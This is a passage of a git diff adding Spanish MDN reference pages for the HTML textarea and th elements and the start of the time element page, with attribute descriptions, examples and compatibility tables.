+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Web_Components/Using_templates_and_slots">Usando templates y slots</a></li>
+</ul>
diff --git a/files/es/web/html/elemento/textarea/index.html b/files/es/web/html/elemento/textarea/index.html
new file mode 100644
index 0000000000..f062f6e1c6
--- /dev/null
+++ b/files/es/web/html/elemento/textarea/index.html
@@ -0,0 +1,181 @@
+---
+title: <textarea>
+slug: Web/HTML/Elemento/textarea
+tags:
+  - Elemento
+  - Formularios(2)
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/textarea
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <strong>elemento</strong> <strong>HTML <code>&lt;textarea&gt; </code></strong>representa un control para la edición mutilínea de texto sin formato.</p>
+
+<h2 id="Contenido_de_Uso">Contenido de Uso</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>, <a href="/en-US/docs/HTML/Content_categories#Interactive_content" title="HTML/Content categories#Interactive content">Interactive content</a>, <a href="/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#Form_labelable" title="HTML/Content categories#Form labelable">labelable</a>, <a href="/en/HTML/Content_categories#form_resettable" title="en/HTML/Content categories#form resettable">resettable</a>, y <a href="/en-US/docs/HTML/Content_categories#Form_submittable" title="HTML/Content categories#Form submittable">submittable</a> <a href="/en-US/docs/HTML/Content_categories#Form-associated_" title="HTML/Content categories#Form-associated ">form-associated</a> elemento</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido Permitido</th>
+   <td>Datos carácter</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que soporta <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz Dom</th>
+   <td>{{domxref("HTMLTextAreaElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento contiene  </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>Este es un atributo no estándar utilizado por iOS Safari Mobile (y, por lo tanto, también por casi todos los navegadores de iOS, incluyendo Safari, Firefox y Chrome). Controla cuándo y cómo el texto debe ponerse automáticamente en mayúsculas mientras es ingresado/editado por el usuario. Los valores no obsoletos están disponible en iOs 5 y en versiones posteriores. Sus valores posibles son:
+ <ul>
+  <li><code>none</code>: Deshabilita la capitalización automática</li>
+  <li><code>sentences</code>:  Escribe automáticamente con mayúscula la primera letra de cada frase.</li>
+  <li><code>words</code>: Automáticamente escribe con mayúsculas la primera letra de las palabras.</li>
+  <li><code>characters</code>: Automáticamente escribe con mayúscula todos los caracteres.</li>
+  <li><code>on</code>: {{deprecated_inline()}} En desuso desde la versión 5 de iOS.</li>
+  <li><code>off</code>: {{deprecated_inline()}} En desuso desde la versión 5 de iOS.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo indica si el valor del control puede ser completado automáticamente por el navegador. Los posibles valores son:
+ <ul>
+  <li><code>off</code>: El usuario debe explícitamente introducir el valor del campo para cada uso, o el documento proporciona su propio método de auto-completado; el navegador no completa automáticamente.</li>
+  <li><code>on</code>: El navegador puede completar automáticamente el valor basándose en valores que el usuario haya insertado durante usos previos.</li>
+ </ul>
+
+ <p>Si el atributo <strong>autocomplete</strong> no está definidio en el elemento textarea, entonces  el navegador usa el valor del atributo <strong>autocomplete </strong>del propietario del elemento <code>&lt;textarea&gt;</code> . El propietario del formulario es o bien el elemento form del cual el &lt;textarea&gt; es descendiente o el elemento form cuyo id está especificado en el atributo form del elemento. Para más información, ver  el atributo {{htmlattrxref("autocomplete", "form")}} en {{HTMLElement("form")}}.</p>
+ </dd>
+ <dt>{{ htmlattrdef("autofocus") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>Este atributo booleano te permite especificar que un control de un formulario adquiera el foco cuando se carga la página, salvo que el usuario anule esto , por ejemplo tecleando en un control diferente. Sólo se puede especificar este atributo en los elementos asociados a formularios.</dd>
+ <dt>{{ htmlattrdef("cols") }}</dt>
+ <dd>La anchura visible del control de texto, en caracteres de anchura media. Si está definido debe ser positivo. Si no, por defecto, el valor es 20 (HTML 5).</dd>
+ <dt>{{ htmlattrdef("disabled") }}</dt>
+ <dd>Este atributo booleano indica que el usuario no puede interactuar con el control. Si el atributo no está definido se hereda su valor del elemento en el que está contenido, por ejemplo {{ HTMLElement("fieldset") }}; Si no está dentro de un elemento contenedor con el atributo disable establecido, entonces el control estará habilitado.</dd>
+ <dt>{{ htmlattrdef("form") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>El formulario al cual el elemento textarea está asociado (el propietario del formulario). El valor del atributo debe ser un ID de un elemento formulario del mismo documento. Si no se especifica este atributo, el textarea debe ser un descendiente de un elemento formulario. Permite colocar elementos textarea en cualquier lugar dentro de un documento, no sólo como descendientes de  formularios.</dd>
+ <dt>{{ htmlattrdef("maxlength") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>Indica el número máximo de caracteres  (Unicode code points) que el usuario puede insertar. Si no está especificado entonces el usuario puede insertar un número ilimitado de caracteres.</dd>
+ <dt>{{ htmlattrdef("minlength") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>El mínimo número de caracteres (Unicode code points) que el usuaurio debe insertar.</dd>
+ <dt>{{ htmlattrdef("name") }}</dt>
+ <dd>El nombre del control</dd>
+ <dt>{{ htmlattrdef("placeholder") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>Se puede añadir un indicación para el usuario que defina que se debe insertar en el control. Los retornos de carro y las nuevas líneas dentro lso marcadores de posición deben ser tratado como nuevas líneas al representar dicha indicación.</dd>
+ <dt>{{ htmlattrdef("readonly") }}</dt>
+ <dd>Este atributo booleano indica que el usuario no puede modificar el valor del control. Al contrario que el atributo<code> disable</code>, el atributo <code>readonly </code>no evita que el usuario haga click o seleccione el control. El valor del control read-only si que se envía con el formulario.</dd>
+ <dt>{{ htmlattrdef("required") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>Este atributo indica que el usuario debe rellenar el contro con un valor antes de poder enviar el formulario.</dd>
+ <dt>{{ htmlattrdef("rows") }}</dt>
+ <dd>El número de líneas visibles en el control</dd>
+ <dt>{{ htmlattrdef("selectionDirection") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>La dirección en la que la selección ocurre dentro del control. Es "forward" si la selección ocurre de izquierda a derecha en una localización LTR, o  "backward" si la selección fue hecha en sentido contrario. Puede ser "none" si se desconoce la dirección.</dd>
+ <dt>{{ htmlattrdef("selectionEnd") }}</dt>
+ <dd>El índice del último caracter de la selección actual.</dd>
+ <dt>{{ htmlattrdef("selectionStart") }}</dt>
+ <dd>El índice del primer caracter de la selección actual.</dd>
+ <dt>{{ htmlattrdef("spellcheck") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Un valor <code>true</code> en este atributo indica que el elemento necesita tener <code>checked</code> el corrector ortográfico y gramatical. El caloor <code>default</code> indica que el elemento va a comportarse de acuerdo al comportamiento por defecto, basado en el <code>spellcheck</code> del padre. El valor <code>false</code> indica que no se deben hacer esas comprobaciones.</dd>
+ <dt>{{ htmlattrdef("wrap") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>Indica como el control envuelve al texto. Los posibles valores son:
+ <ul>
+  <li><span style="font-family: courier new;">hard</span>: El navegador insertar automáticamente caracteres de nueva línea (CR+LF) para que ninguna línea tenga más anchura que la del control; el atributo  <code>cols</code> debe estar espeficicado.</li>
+  <li><span style="font-family: courier new;">soft</span>: El navegador asegura que todas las nuevas líneas constan de la pareja de caracteres CR+LF , pero no insertar nuevas líneas adicionales.</li>
+ </ul>
+
+ <p><span style="font-family: courier new;">Soft</span> es el valor por defecto si no se especifica nada.</p>
+ </dd>
+</dl>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento implementa el interfaz <code><a href="/en/DOM/HTMLTextAreaElement" title="en/DOM/textarea">HTMLTextAreaElement</a></code> .</p>
+
+<p>{{ h1_gecko_minversion("Resizable textareas", "2.0") }}</p>
+
+<p>{{ gecko("2.0") }} introduce el soporte para textareas redimensionable. Esto se controla con la propiedad CSS {{ cssxref("resize") }} . Por defecto la posibilidad de redimiensionar el control está habilitada, pero puede ser explícitamente deshabilitada mediante el uso del siguiente CSS:</p>
+
+<pre>textarea {
+  resize: none;
+}
+</pre>
+
+<h2 id="Interacción_con_CSS">Interacción con CSS</h2>
+
+<p>En relación a CSS, un  <code>&lt;textarea&gt;</code>  es un <a href="https://developer.mozilla.org/en-US/docs/CSS/Replaced_element" title="/en-US/docs/CSS/Replaced_element">replaced element</a>. La especificación HTML no define dónde está el punto de referencia de un <code>&lt;textarea&gt;</code>. Así que los diferentes navegadores lo sitúan en diferentes posiciones. En los navegadores basados en Gecko, ese punto de referencia del <code>&lt;textarea&gt;</code> se sitúa en el punto de referencia de la primera línea del <code>&lt;textarea&gt;</code>,  en otro navegadores puede estár situado al final de la caja del <code>&lt;textarea&gt;</code> . Se recomienda no usar {{cssxref("vertical-align")}}<code>: baseline</code> , ya que obtendríamos un comportamiento no impredecible.</p>
+
+<p>Un  <em>textarea</em> tiene dimensiones intrínsecas, como una imagen agrandada.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;textarea name="textarea" rows="10" cols="50"&gt;Write something here&lt;/textarea&gt;</pre>
+
+<p>{{ EmbedLiveSample('Example','600','200') }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-textarea-element', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-textarea-element', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.7', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("html.elements.textarea")}}</p>
+</div>
+
+
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>Otros elementos relacionados con formularios: {{ HTMLElement("form") }}, {{ HTMLElement("button") }}, {{ HTMLElement("datalist") }}, {{ HTMLElement("legend") }}, {{ HTMLElement("label") }}, {{ HTMLElement("select") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }} and {{ HTMLElement("meter") }}.</p>
+
+<p>{{ languages( { "fr": "fr/HTML/Element/textarea" } ) }}</p>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/th/index.html b/files/es/web/html/elemento/th/index.html
new file mode 100644
index 0000000000..dae17481e0
--- /dev/null
+++ b/files/es/web/html/elemento/th/index.html
@@ -0,0 +1,328 @@
+---
+title: <th>
+slug: Web/HTML/Elemento/th
+translation_of: Web/HTML/Element/th
+---
+<p><span class="seoSummary">El elemento <strong>HTML <code>&lt;th&gt;</code> </strong>define una celda como encabezado de un grupo de celdas en una tabla. La naturaleza exacta de este grupo está definida por los atributos {{htmlattrxref("scope", "th")}} y {{htmlattrxref("headers", "th")}}.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Categorías de contenido</a></th>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>
+    <div class="content-models">
+    <div id="table-mdls">Contenido de flujo, pero sin encabezado, pie de página, contenido de seccionamiento, o contenido descendiente de encabezados</div>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>La etiqueta de inicio es obligatoria.<br>
+    La etiqueta de cierre puede ser omitida si es inmediatamente seguida por el elemento {{HTMLElement("th")}} o {{HTMLElement("td")}} o si no hay más datos en su elemento padre.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents permítidos</th>
+   <td>Un elemento {{HTMLElement("tr")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles permítdos de ARIA</th>
+   <td>Cualquiera</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLTableHeaderCellElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}} {{obsolete_inline}} in {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo contiene una breve descripción del contenido de las celdas. Algunos agentes de usuario (e.g., a speech reader) pueden presentar esta descripción antes que el propio contenido.</dd>
+ <dd>
+ <div class="note"><strong>Nota de uso: </strong>No uses este atributo, ya que se ha vuelto obsoleto en el último estandar. Alternativamente, puedes poner la descripción abreviada dentro de la celda y colocarla el largo contenido en el atributo de <strong>title</strong>.</div>
+ </dd>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}} in {{HTMLVersionInline("4")}}, {{obsolete_inline}} in {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo enumerado especifica cómo se tratará el alineado horizontal de la celda. Los valores posibles son:
+ <ul>
+  <li><code>left</code>: El contenido se alinea a la izquierda de la celda.</li>
+  <li><code>center</code>: El contenido se centra en la celda.</li>
+  <li><code>right</code>:  El contenido se alinea a la derecha de la celda.</li>
+  <li><code>justify</code> (solo con texto): El contenido se alarga para ocupar todo el ancho de la celda.</li>
+  <li><code>char</code> (solo con texto): El contenido es alineado a un caracter dentro de <code>&lt;th&gt;</code> con el offset mínimo. Este caracter esta definido por los atributos {{htmlattrxref("char", "th")}} y {{htmlattrxref("charoff", "th")}}.</li>
+ </ul>
+
+ <p>El valor por defecto cuando no se especifica este atributo es <code>left</code>.</p>
+
+ <div class="note">
+ <p><strong>Nota: </strong>No usar este atributo, ya que está obsoleto en el último estándar.</p>
+
+ <ul>
+  <li>Para lograr el mismo efecto que con los valores <code>left</code>, <code>center</code>, <code>right </code>o <code>justify</code>, aplicar la propiedad CSS {{cssxref("text-align")}} al elemento.</li>
+  <li>Para lograr el mismo efecto que con el valor <code>char</code>, dar a la propiedad {{cssxref("text-align")}} el mismo valor que usarías para {{htmlattrxref("char", "th")}}. {{unimplemented_inline}} in CSS3.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline}} in {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo contiene una lista de cadenas separadas por espacios. Cada cadena es el <code>id</code> de un grupo de celdas a las que se les aplica esta cabecera.
+ <div class="note"><strong>Nota: </strong>Este atributo está obsoleto en el último estándar y no debe usarse. Puedes sustituirlo por {{htmlattrxref("scope", "th")}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Este atributo define el color de fondo de cada celda en una columna. Consiste en una código hexadecimal de 6 digitos, con un prefijo '#'. Este atributo puede usarse con uno de los 16 colores predefinidos:
+ <table>
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"></td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Nota:</strong> No usar este atributo, ya que no es un estándar y sólo esta implementado en algunas versiones de Microsoft Internet Explorer. El elemento {{HTMLElement("th")}} debe estilizarse usando <a href="/en-US/docs/CSS">CSS</a>. Para crear un efecto similar usa la propiedad {{cssxref("background-color")}}. </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline}} in {{HTMLVersionInline("4")}}, {{obsolete_inline}} in {{HTMLVersionInline("5")}}</dt>
+ <dd>El contenido de la celda se alinea con un caracter en el elemento <code>&lt;th&gt;</code>. Los valores típicos incluyen un punto (.) para alinear números o valores monetarios. Si no se establece {{htmlattrxref("align", "th")}} como char, el atributo es ignorado.
+ <div class="note"><strong>Nota: </strong>No usar este atributo, ya que no está soportado por el último estándar. Para lograr el mismo efecto, puedes especificar el caracter como el primer valor de la propiedad {{cssxref("text-align")}}, {{unimplemented_inline}} en CSS3.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline}} in {{HTMLVersionInline("4")}}, {{obsolete_inline}} in {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute is used to shift column data to the right of the character specified by the <strong>char</strong> attribute. Its value specifies the length of this shift.
+ <div class="note"><strong>Nota: </strong>No usar este atributo, ya que no está soportado por el último estándar.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>This attribute contains a positive integer value that indicates over how many columns a cell is extended. Its default value is <code>1.</code> If its value is set to <code>0</code>, the cell is extended to the last element of the {{HTMLElement("colgroup")}}. Values higher than 1000 are clipped down to 1000.</dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd>This attribute contains a list of space-separated strings, each corresponding to the <code>id</code> attributes of other {{HTMLElement("th")}} elements that relate to this element.</dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd>This attribute contains a positive integer value that indicates over how many rows a cells is extended. Its default value is <code>1.</code> If its value is set to <code>0</code>, the cell is extended to the last element of the table sections ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}} or {{HTMLElement("tfoot")}}). Values higher than 65534 are clipped down to 65534.</dd>
+ <dt>{{htmlattrdef("scope")}}</dt>
+ <dd>This enumerated attribute defines the cells that the header (defined in the {{HTMLElement("th")}}) element relates to. It may have the following values:
+ <ul>
+  <li><code>row</code>:  The header relates to all cells of the row it belongs to.</li>
+  <li><code>col</code>: The header relates to all cells of the column it belongs to.</li>
+  <li><code>rowgroup</code>: The header belongs to a rowgroup and relates to all of its cells. These cells can be placed to the right or the left of the header, depending on the value of the <code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code> attribute in the {{HTMLElement("table")}} element.</li>
+  <li><code>colgroup</code>: The header belongs to a colgroup and relates to all of its cells.</li>
+  <li><code>auto</code></li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline}} in {{HTMLVersionInline("4")}}, {{obsolete_inline}} in {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute specifies how a text is vertically aligned inside a cell. Possible values for this attribute are:
+ <ul>
+  <li><code>baseline</code>: Positions the text near the bottom of the cell and aligns it with the <a href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom. If characters don't descend below the baseline, the baseline value achieves the same effect as <code>bottom</code>.</li>
+  <li><code>bottom</code>: Positions the text near the bottom of the cell.</li>
+  <li><code>middle</code>: Centers the text in the cell.</li>
+  <li>and <code>top</code>: Positions the text near the top of the cell.</li>
+ </ul>
+
+ <div class="note"><strong>Usage Note: </strong>Do not use this attribute as it is no longer supported by the latest standard: use the CSS {{cssxref("vertical-align")}} property instead.</div>
+ </dd>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}</dt>
+ <dd>This attribute is used to define a recommended cell width.  Additional space can be added with the <a href="/en-US/docs/Web/API/HTMLTableElement/cellSpacing">cellspacing</a> and <a href="/en-US/docs/Web/API/HTMLTableElement/cellPadding">cellpadding</a> properties and the width of the {{HTMLElement("col")}} element can also create extra width. But, if a column's width is too narrow to show a particular cell properly, it will be widened when displayed.
+ <div class="note"><strong>Usage Note: </strong>Do not use this attribute in the latest standard: use the CSS {{cssxref("width")}} property instead.</div>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>See {{HTMLElement("table")}} for examples on <code>&lt;th&gt;</code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-th-element','th element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-th-element','th element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> attribute</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> attribute</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> attribute {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> attribute {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] See {{bug(915)}}.</p>
+
+<p>[2] See {{bug(2212)}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other table-related HTML Elements: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/time/index.html b/files/es/web/html/elemento/time/index.html
new file mode 100644
index 0000000000..8216d3b167
--- /dev/null
+++ b/files/es/web/html/elemento/time/index.html
@@ -0,0 +1,170 @@
+---
+title: time
+slug: Web/HTML/Elemento/time
+tags:
+  - Elemento
+  - Fecha
+  - HTML
+  - HTML5
+  - Hora
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/time
+---
+<p>El <strong>elemento HTML <code>&lt;time&gt;</code></strong> representa un periodo específico en el tiempo. Puede incluir el atributo <code>datetime</code> para convertir las fechas en un formato interno legible por un ordenador, permitiendo mejores resultados en los motores de búsqueda o características personalizadas como recordatorios.</p>
+
+<p>Puede representar uno de los contenidos siguientes:</p>
+
+<ul>
+ <li>Una hora en formato de 24 horas</li>
+ <li>Una fecha precisa en el <a class="external" href="https://es.wikipedia.org/wiki/Calendario_gregoriano">Calendario Gregoriano</a> (con hora y zona horaria opcionales)</li>
+ <li><a href="https://www.w3.org/TR/2014/REC-html5-20141028/infrastructure.html#valid-duration-string">Un periodo de tiempo válido</a></li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/time.html", "tabbed-standard")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo está almacenada en un repositorio de GitHub. Si desea contribuir al projecto, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> y envíe su solicitud de extracción (pull request).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
